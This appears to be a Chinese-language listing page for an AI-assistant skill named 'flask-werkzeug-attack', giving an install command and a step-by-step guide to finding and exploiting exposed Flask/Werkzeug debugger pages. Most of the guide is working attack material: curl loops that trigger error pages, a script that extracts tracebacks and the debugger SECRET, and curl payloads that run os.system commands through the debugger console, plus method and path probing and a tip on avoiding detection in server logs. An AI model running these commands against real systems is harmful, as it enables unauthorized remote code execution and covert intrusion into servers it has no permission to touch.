关于 flask-werkzeug-attack
用于识别和评估暴露的 Flask/Werkzeug 调试器页面的安全技能,指导测试人员检查信息泄露,并区分已启用与已禁用的控制台。
主要功能
- 01检测 Werkzeug 调试器页面
- 02检查回溯和服务器信息
- 03测试控制台状态后再尝试访问
- 04探测路径和 HTTP 方法
- 05考虑误报与日志记录
适用场景
- 01评估返回 HTTP 500 的 Flask 服务
- 02判断调试器控制台是否启用
- 03记录错误页面泄露的路径和框架信息
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill flask-werkzeug-attack安装后在 Claude Code 中输入/flask-werkzeug-attack确认已加载。
详细介绍
Flask/Werkzeug 调试器利用
启用 debug=True 的 Flask 应用会开启 Werkzeug 调试器,暴露堆栈跟踪,并可选择开启交互式 Python 控制台。调试器与 Flask 应用使用相同端口,并会在发生任何未处理异常时激活(HTTP 500)。
适用场景
- 端口扫描发现非标准端口(8080、8081、8084、5000、8000 等)上有未知 HTTP 服务
- API 端点返回带有 Flask/Werkzeug 错误页面的 HTTP 500
- URL 资源(CSS、JS、PNG)中出现
?__debugger__=yes参数 - 错误页面的 HTML 中包含
var CONSOLE_MODE、var EVALEX或SECRET=
前提条件
- 可使用 curl 的
terminal - 生产环境中
debug=True的 Flask API 服务(配置错误) - 能触发 HTTP 500 的端点(未处理异常)
快速检测
# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
echo "TRIGGERED: $path"
echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
fi
done
阶段 1 — 信息泄露
Werkzeug 调试器会暴露:
1a — 服务端路径(来自回溯)
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
1b — 调试器 SECRET(来自 HTML)
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET="vYQ93K...8cww";
</script>
1c — 框架和语言版本
- Flask 框架(Python 3.x)
- flask_cors 扩展状态
- 包含行号的完整调用栈
- 源代码上下文(每个堆栈帧前后各 5 行)
1d — 提取完整代码上下文
import requests, re
resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text
# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
print(f" {f}")
# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
clean = re.sub(r'<[^>]+>', '', s)
print(clean[:200])
阶段 2 — 访问调试器控制台(RCE)
当 EVALEX=true 且 CONSOLE_MODE=true 时,Werkzeug 调试器控制台允许在服务端执行 Python 代码。
2a — 检查控制台状态
# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
2b — 访问控制台(若已启用)
如果 EVALEX=true:
# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"
**信号检查:**如果 /console 返回 HTTP 400(而非 404),说明调试器已激活,但控制台已禁用。HTTP 404 表示完全没有调试器。返回 HTTP 200 且显示控制台界面,则表示可以进行 RCE。
如果 EVALEX=true:
# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
-d "code=__import__('os').system('id')"
# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"
**注意:**控制台端点可能要求使用特定方法(POST 或 GET);如果方法不正确,可能返回 HTTP 405。两种方法都要测试。
2c — 控制台已禁用时的处理方式
如果 EVALEX=false(生产环境中最常见),控制台会处于禁用状态,无法执行命令。不过:
- SECRET 仍然有价值——它可以确认动态调试器已激活
- 回溯仍会泄露信息——完整的服务端路径、框架版本、源代码上下文
- 查找
?__debugger__=yes——这是调试器界面本身;如果能加载,说明调试器已部分激活 - 检查错误页面中的源代码——某些端点可能会返回完整的源代码上下文,无需使用控制台
阶段 3 — 目录/路径探测
除了触发错误的特定路径,还要探测其他可能泄露不同信息的端点:
# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"
# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"
# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control
注意事项
- **EVALEX=false 表示无法通过控制台执行 RCE。**控制台模式已禁用时,不要浪费时间尝试执行代码。
- **仅有 SECRET 还不够。**即使 SECRET 正确,也必须启用控制台才能执行代码。
- **并非所有 HTTP 500 页面都是 Werkzeug 页面。**没有 HTML 格式,或仅返回 JSON 的普通 Flask 错误页面,都不是 Werkzeug 调试器页面。调试器有独特的蓝色主题 HTML 页面,带有可折叠的回溯帧和源代码上下文。
- **调试器可能受 CORS 限制。**检查
Access-Control-Allow-Origin标头——如果调试器页面允许 CORS 通配符来源,攻击者控制的网站就可以通过 fetch() 读取 SECRET 和回溯内容。 - **触发错误会留下日志。**每次请求调试器页面都会在服务端日志中生成一条 500 错误记录。请谨慎操作,以免被发现。
验证
- 技能完整性——确认技能文件格式正确: FAIL FAIL 所有测试都会验证技能结构是否正确。
相关技能
hunt-rce— 通用 RCE 搜寻;启用了控制台的 Werkzeug 会导致 RCEhunt-python— Python 专项漏洞搜寻js-secrets-extraction— 查找可能可用于 Flask API 的 API 密钥source-leak-hunt— 查找可能包含 Flask SECRET_KEY 的 .env 和配置文件cache-attack— 通过 Werkzeug 错误页面进行缓存投毒(如果 CDN 缓存了 500 响应)
评论
支持 Markdown